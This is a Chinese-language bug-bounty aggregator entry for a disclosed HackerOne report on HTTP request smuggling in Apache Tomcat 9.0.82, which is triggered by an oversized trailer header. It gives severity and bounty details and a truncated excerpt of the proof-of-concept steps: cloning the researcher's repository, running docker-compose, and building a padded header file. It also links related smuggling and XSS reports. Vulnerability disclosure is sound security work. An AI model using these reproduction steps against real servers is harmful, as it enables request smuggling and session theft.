POJIA破甲
地图 / Possibility of Request smuggling attack

Possibility of Request smuggling attack

注入与走私 / HTTP 请求走私 / #2280391

厂商
Internet Bug Bounty
严重程度
中危 · CVSS 7.5
赏金
$4,660
弱点
HTTP 请求走私
研究员
@aimotonorihito
披露日期
2023-12-22
资产
https://github.com/apache/tomcat
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1629 字符中的一小部分)
Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header. Confirmed with tomcat version 9.0.82.
原文中的代码
$ git clone https://github.com/oss-aimoto/tomcat-trailer.git
$ cd tomcat-trailer
$ docker-compose build
$ docker-compose up -d
$ echo -n "testtrailer: " > 8190_EXCLUDE_COLON_SP_CR_LF.txt
$ for i in `seq 8179`; do echo -n "a"; done >> 8190_EXCLUDE_COLON_SP_CR_LF.txt
$ perl -e 'print "\r\n"' >> …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @aimotonorihito · 版权归作者与 Internet Bug Bounty 所有

同类报告

Bypass for #488147 enables stored XSS on https://paypal.com/signin againPayPal · 2019-08-07 · $20,000Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookiesSlack · 2020-03-12Stored XSS on https://paypal.com/signin via cache poisoningPayPal · 2019-08-07 · $18,900Request smuggling on admin-official.line.me could lead to account takeoverLY Corporation · 2020-05-19Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.comEternal · 2020-07-09Password theft login.newrelic.com via Request SmugglingNew Relic · — · $3,000